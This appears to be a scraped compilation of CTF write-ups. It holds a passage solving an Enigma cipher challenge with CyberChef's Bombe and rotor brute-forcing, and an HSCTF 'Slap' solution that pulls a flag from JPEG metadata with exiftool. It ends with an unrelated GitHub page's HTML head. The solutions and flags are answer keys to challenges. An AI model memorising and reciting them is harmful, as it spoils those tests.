[here](https://gchq.github.io/CyberChef/#recipe=Bombe('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','the%20secret%20to%20life%20is',0,true)&input=SkdZSlogTk9YWlggUVpSVVEgS05URE4gVUpXSUEgSVNWSU4gUEZLSVIgVldLV0MgVVhFQkggUkZIREkgTk1PR1EgQlBSSFcgQ1hHQUMgQVJCVU4gSUhPV0ggUURER0wgQkJaWUggSEVKTVYgUkJMSkggQ0xIWVAgRlNBQUEgS05SUFggSUtTTlggUUFTR0kgWEJNTlAgRkxBRkEgS0ZFR1YgWVdZVU4gSkdCSEggUURMWlAgVUpXTU8gQ0NFVUwgWUZJSFIgR1RDT1ogR0VRTUwgVkZVQVYgVVJYVVUgQkJHQ0kgWVpKUVEgUk9RRlUgU0pEVlIgSklMQUogWFlDQkMgSUdBVEsgTFFNQVAgVURQQ0cgT05XRlYgTUhCRUMgQ0xCTFAgSkhaSk4gSE1ETlkgWUFUSUwgRlFTTkQgQU9DQU0gTUdWUlogRkVWS0wgQ0VETUcgQUlXWEcgUVBDQkkgVlRWWlUgSFFHRkQgWkpJQ0kgRUlXTFAgSUZLQUIgTE5WWkkgWFJaVFIgU0xHQ0EgU1pQRkYgSEdCVUsgSkFYTk4gSkhVU1YgVUZQSU0gWlpMQVcgU1lPSEIgVE9MUkYgS1dBTlggRk5FRkQgWFhMTlIgTExHWVMgVlRHWFAgTkpRTUMgV0FLUlAgSktXRFAgV1ZUTlAgV1JZRUogUlNPREkgUURZT1EgREpEQkkgU0xBVkIgVVBERFIgQVRIWUcgQU5KUVIgWFBHRk0gRkFNSlIgWlNKSEMgU1lXUVEgVkJJSFggWENRRlcgWFpCVUggWlJYV1YgVFBFU00gRUdWVlkgUEJKU1M). This yields:
Rotor stops : ```ECG```
Partial switchboard: ```EK BC DQ II JJ LP MN OO RT SU XZ YY```
Decrypted text(trunc): ```TSESECRETTOLIVEISPTOMERSIL```
Ok so we're not quite there yet but this looks promising. Especially since Ptomerty was one of the organisers and this looks too similar to be a coincidence. This is enough to start out.
### Step 2: Finding the correct right-hand rotor setting
Because the emulator doesn't simulate the middle rotor stepping, when we try to decrypt using the enigma machine we get a different plaintext. See [here](https://gchq.github.io/CyberChef/#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','E','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','C','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','A','G','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','EK%20BC%20DQ%20II%20JJ%20LP%20MN%20OO%20RT%20SU%20XZ%20YY',true)&input=SkdZSlogTk9YWlggUVpSVVEgS05URE4gVUpXSUEgSVNWSU4gUEZLSVIgVldLV0MgVVhFQkggUkZIREkgTk1PR1EgQlBSSFcgQ1hHQUMgQVJCVU4gSUhPV0ggUURER0wgQkJaWUggSEVKTVYgUkJMSkggQ0xIWVAgRlNBQUEgS05SUFggSUtTTlggUUFTR0kgWEJNTlAgRkxBRkEgS0ZFR1YgWVdZVU4gSkdCSEggUURMWlAgVUpXTU8gQ0NFVUwgWUZJSFIgR1RDT1ogR0VRTUwgVkZVQVYgVVJYVVUgQkJHQ0kgWVpKUVEgUk9RRlUgU0pEVlIgSklMQUogWFlDQkMgSUdBVEsgTFFNQVAgVURQQ0cgT05XRlYgTUhCRUMgQ0xCTFAgSkhaSk4gSE1ETlkgWUFUSUwgRlFTTkQgQU9DQU0gTUdWUlogRkVWS0wgQ0VETUcgQUlXWEcgUVBDQkkgVlRWWlUgSFFHRkQgWkpJQ0kgRUlXTFAgSUZLQUIgTE5WWkkgWFJaVFIgU0xHQ0EgU1pQRkYgSEdCVUsgSkFYTk4gSkhVU1YgVUZQSU0gWlpMQVcgU1lPSEIgVE9MUkYgS1dBTlggRk5FRkQgWFhMTlIgTExHWVMgVlRHWFAgTkpRTUMgV0FLUlAgSktXRFAgV1ZUTlAgV1JZRUogUlNPREkgUURZT1EgREpEQkkgU0xBVkIgVVBERFIgQVRIWUcgQU5KUVIgWFBHRk0gRkFNSlIgWlNKSEMgU1lXUVEgVkJJSFggWENRRlcgWFpCVUggWlJYV1YgVFBFU00gRUdWVlkgUEJKU1M). As in the guide, we need to step through the right-hand rotor (keeping the offset) until we find the Decrypted text in step 1. I automated the task using a script and we find that setting the third rotor to ```('G','M')``` gets us [there](https://gchq.github.io/CyberChef/#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','E','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','C','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','G','M','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','EK%20BC%20DQ%20II%20JJ%20LP%20MN%20OO%20RT%20SU%20XZ%20YY',true)&input=SkdZSlogTk9YWlggUVpSVVEgS05URE4gVUpXSUEgSVNWSU4gUEZLSVIgVldLV0MgVVhFQkggUkZIREkgTk1PR1EgQlBSSFcgQ1hHQUMgQVJCVU4gSUhPV0ggUURER0wgQkJaWUggSEVKTVYgUkJMSkggQ0xIWVAgRlNBQUEgS05SUFggSUtTTlggUUFTR0kgWEJNTlAgRkxBRkEgS0ZFR1YgWVdZVU4gSkdCSEggUURMWlAgVUpXTU8gQ0NFVUwgWUZJSFIgR1RDT1ogR0VRTUwgVkZVQVYgVVJYVVUgQkJHQ0kgWVpKUVEgUk9RRlUgU0pEVlIgSklMQUogWFlDQkMgSUdBVEsgTFFNQVAgVURQQ0cgT05XRlYgTUhCRUMgQ0xCTFAgSkhaSk4gSE1ETlkgWUFUSUwgRlFTTkQgQU9DQU0gTUdWUlogRkVWS0wgQ0VETUcgQUlXWEcgUVBDQkkgVlRWWlUgSFFHRkQgWkpJQ0kgRUlXTFAgSUZLQUIgTE5WWkkgWFJaVFIgU0xHQ0EgU1pQRkYgSEdCVUsgSkFYTk4gSkhVU1YgVUZQSU0gWlpMQVcgU1lPSEIgVE9MUkYgS1dBTlggRk5FRkQgWFhMTlIgTExHWVMgVlRHWFAgTkpRTUMgV0FLUlAgSktXRFAgV1ZUTlAgV1JZRUogUlNPREkgUURZT1EgREpEQkkgU0xBVkIgVVBERFIgQVRIWUcgQU5KUVIgWFBHRk0gRkFNSlIgWlNKSEMgU1lXUVEgVkJJSFggWENRRlcgWFpCVUggWlJYV1YgVFBFU00gRUdWVlkgUEJKU1M).
### Step 3: Finding the missing connections
As stated in the guide, this is a mix between art and skill. Basically we have our switchboard (partial) ```EK BC DQ II JJ LP MN OO RT SU XZ YY```. Take note that only dissimilar pairs are valid, the others are ignored. So basically we have the following pairs left: ```['F', 'H', 'I', 'J', 'O', 'V', 'W', 'Y']```. Now let's look at our plaintext. ```OLIVE``` should be ```OLIFE```. So let's add ```VF``` as a pair. Looking [better](https://gchq.github.io/CyberChef/#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','A','E','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','C','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','G','M','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','EK%20BC%20DQ%20II%20JJ%20LP%20MN%20OO%20RT%20SU%20XZ%20YY%20VF',true)&input=SkdZSlogTk9YWlggUVpSVVEgS05URE4gVUpXSUEgSVNWSU4gUEZLSVIgVldLV0MgVVhFQkggUkZIREkgTk1PR1EgQlBSSFcgQ1hHQUMgQVJCVU4gSUhPV0ggUURER0wgQkJaWUggSEVKTVYgUkJMSkggQ0xIWVAgRlNBQUEgS05SUFggSUtTTlggUUFTR0kgWEJNTlAgRkxBRkEgS0ZFR1YgWVdZVU4gSkdCSEggUURMWlAgVUpXTU8gQ0NFVUwgWUZJSFIgR1RDT1ogR0VRTUwgVkZVQVYgVVJYVVUgQkJHQ0kgWVpKUVEgUk9RRlUgU0pEVlIgSklMQUogWFlDQkMgSUdBVEsgTFFNQVAgVURQQ0cgT05XRlYgTUhCRUMgQ0xCTFAgSkhaSk4gSE1ETlkgWUFUSUwgRlFTTkQgQU9DQU0gTUdWUlogRkVWS0wgQ0VETUcgQUlXWEcgUVBDQkkgVlRWWlUgSFFHRkQgWkpJQ0kgRUlXTFAgSUZLQUIgTE5WWkkgWFJaVFIgU0xHQ0EgU1pQRkYgSEdCVUsgSkFYTk4gSkhVU1YgVUZQSU0gWlpMQVcgU1lPSEIgVE9MUkYgS1dBTlggRk5FRkQgWFhMTlIgTExHWVMgVlRHWFAgTkpRTUMgV0FLUlAgSktXRFAgV1ZUTlAgV1JZRUogUlNPREkgUURZT1EgREpEQkkgU0xBVkIgVVBERFIgQVRIWUcgQU5KUVIgWFBHRk0gRkFNSlIgWlNKSEMgU1lXUVEgVkJJSFggWENRRlcgWFpCVUggWlJYV1YgVFBFU00gRUdWVlkgUEJKU1M). But we can do better. Let's bruteforce each remaining pair one at the time and check our decrypted text. There aren't that many and we see that ```AG``` actually decrypts the end! Which is all we need! [Here](https://gchq.github.io/CyberChef/#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','Z','D','AJDKSIRUXBLHWTMCQGZNPYFVOE%3CF','A','C','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','G','M','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','EK%20BC%20DQ%20II%20JJ%20LP%20MN%20OO%20RT%20SU%20XZ%20YY%20VF%20AG',true)&input=SkdZSlogTk9YWlggUVpSVVEgS05URE4gVUpXSUEgSVNWSU4gUEZLSVIgVldLV0MgVVhFQkggUkZIREkgTk1PR1EgQlBSSFcgQ1hHQUMgQVJCVU4gSUhPV0ggUURER0wgQkJaWUggSEVKTVYgUkJMSkggQ0xIWVAgRlNBQUEgS05SUFggSUtTTlggUUFTR0kgWEJNTlAgRkxBRkEgS0ZFR1YgWVdZVU4gSkdCSEggUURMWlAgVUpXTU8gQ0NFVUwgWUZJSFIgR1RDT1ogR0VRTUwgVkZVQVYgVVJYVVUgQkJHQ0kgWVpKUVEgUk9RRlUgU0pEVlIgSklMQUogWFlDQkMgSUdBVEsgTFFNQVAgVURQQ0cgT05XRlYgTUhCRUMgQ0xCTFAgSkhaSk4gSE1ETlkgWUFUSUwgRlFTTkQgQU9DQU0gTUdWUlogRkVWS0wgQ0VETUcgQUlXWEcgUVBDQkkgVlRWWlUgSFFHRkQgWkpJQ0kgRUlXTFAgSUZLQUIgTE5WWkkgWFJaVFIgU0xHQ0EgU1pQRkYgSEdCVUsgSkFYTk4gSkhVU1YgVUZQSU0gWlpMQVcgU1lPSEIgVE9MUkYgS1dBTlggRk5FRkQgWFhMTlIgTExHWVMgVlRHWFAgTkpRTUMgV0FLUlAgSktXRFAgV1ZUTlAgV1JZRUogUlNPREkgUURZT1EgREpEQkkgU0xBVkIgVVBERFIgQVRIWUcgQU5KUVIgWFBHRk0gRkFNSlIgWlNKSEMgU1lXUVEgVkJJSFggWENRRlcgWFpCVUggWlJYV1YgVFBFU00gRUdWVlkgUEJKU1M) the final state. Not everyhting is decrypted but it's good enough to read:
```THESECRETTOLIFEISPTOMERTYCTFSTANDSFORCAPTURETHEFLASDAZTYOWPYZUTKMOZVQEJYDPLNUYQZXCLEYBUATWOGXUIHSRNWACSCJVCDWUDLIPRVMLSPQEPKVGNJVMRIPTCNINLHHNALCESWVSCYBWNXRUKQUUERCZCPELDKIZNJYBNGODEMVVIZDGWIWISGTPKEIDUYPGCQURRWDUHBEHZNUEYDAZKNRAEDHNXGQSFETKVIYQXDAZAJYXWFCCRCBYJJXTSZBVVJKPYXNQMIUUFIUOSOIQITHIDWYMOANIFGPQUXVZADQJSTWWTUTCTUJJHALIFMMYJRGFJGIMRIDYPMXOLSLWMXACQWFMTWKGBFMYZUVXAEQLANDMJGXJNDDDOWHATEVERITTAKESTOCAPTURETHATFLAGWHENATEAMSUBMITSTHISFLAGTOASCORINGPAGETHEYWILLGETPOINTSTHEPASSWORDISINSECUREKEITHWASANENIGMA```The script contains a few helper functions that make it easier to bruteforce.
|
# Slap
```Don't get slapped too hard.```
(File(s): attachments/slap.jpg)
We're given a jpg file. Let's have a look at the metadata to see if there's anything interesting in there. We can do this using `exiftool`.
```$ exiftool slap.jpg ExifTool Version Number : 11.30File Name : slap.jpgDirectory : .File Size : 48 kBFile Modification Date/Time : 2019:06:06 23:59:27-07:00File Access Date/Time : 2019:06:06 23:59:38-07:00File Inode Change Date/Time : 2019:06:06 23:59:34-07:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegExif Byte Order : Big-endian (Motorola, MM)XMP Toolkit : Image::ExifTool 11.48Event : Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Massa id neque aliquam vestibulum morbi blandit cursus risus. Sed viverra ipsum nunc aliquet bibendum. Nisl purus in mollis nunc sed. Risus commodo viverra maecenas accumsan lacus vel facilisis volutpat. Magna eget est lorem ipsum dolor sit amet consectetur. Euismod in pellentesque massa placerat. Condimentum vitae sapien pellentesque habitant morbi. Cras sed felis eget velit aliquet sagittis id consectetur. Urna condimentum mattis pellentesque id nibh tortor. O-snip-```
Alright, it looks like we've run into something interesting in the metadata. Let's pass it through `grep` to see if we can find the flag.
```$ exiftool slap.jpg | grep "hsctf"Location Shown Country Name : Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut la bore et dolore magna aliqua. Massa id neque aliquam vestibulum morbi blandit cursu hsctf{twoslapsnonetforce} s risus. Sed viverra ipsum nunc aliquet bibendum. Nisl purus in mollis nunc sed. Risus commodo viverra maecenas accumsan lacus vel facilisis volutpat. Magna eget est lorem ipsum dolor sit amet consectetur. Euismod in pellentesque massa placerat. Condimentum vitae sapien pellentesque habitant morbi. Cras sed felis eget velit aliquet sagittis id consectetur. Urna condimentum mattis pellentesque id nibh tortor. Odio aenean sed adipiscing diam donec adipiscing tristique risus nec. Faucibus nisl tincidunt eget nullam non nisi est sit amet. Enim nunc faucibus a pellentesque. Augue eget arcu dictum varius duis at consectetur. Morbi quis commodo odio aenean. Curabitur vitae nunc sed velit dignissim sodales ut. Id venenatis a condimentum vitae sapien pellentesque habitant. Erat nam at lectus urna duis.Location Shown Sublocation : Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Massa id neque aliquam vestibulum morbi blandit cursus risus. Sed viverra ipsum nunc aliquet bibendum. Nisl purus in mollis nunc sed. Risus commodo viverra maecenas accumsan lacus vel facilisis volutpat. Magna eget est lorem ipsum dolor sit amet consectetur. Euismod in pellentesque massa placerat. Condimentum hsctf{twoslapsnonetforce} vitae sapien pellentesque habitant morbi. Cras sed felis eget velit aliquet sagittis id consectetur. Urna condimentum mattis pellentesque id nibh tortor. Odio aenean sed adipiscing diam donec adipiscing tristique risus nec. Faucibus nisl tincidunt eget nullam non nisi est sit amet. Enim nunc faucibus a pellentesque. Augue eget arcu dictum varius duis at consectetur. Morbi quis commodo odio aenean. Curabitur vitae nunc sed velit dignissim sodales ut. Id venenatis a condimentum vitae sapien pellentesque habitant. Erat nam at lectus urna duis.```
The flag is in the text.
```hsctf{twoslapsnonetforce}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-write-ups/BlazeCTF2019/sanity at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CFB2:345B:165D3EF:16EF1EE:641224A7" data-pjax-transient="true"/><meta name="html-safe-nonce" content="a5a494900ff9b1993eb0e5152cd413022242f0d1eebb015ea3dc03ae8cf34e5c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRkIyOjM0NUI6MTY1RDNFRjoxNkVGMUVFOjY0MTIyNEE3IiwidmlzaXRvcl9pZCI6IjY1NjAxOTQxOTcwMzg3MDM3ODMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="dd0f3bf9d58b0fd866cca78b5eb9ac4932ebbe1816b82c6cfd1d8f8b04ac3ff0" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/BlazeCTF2019/sanity at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/BlazeCTF2019/sanity at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git">
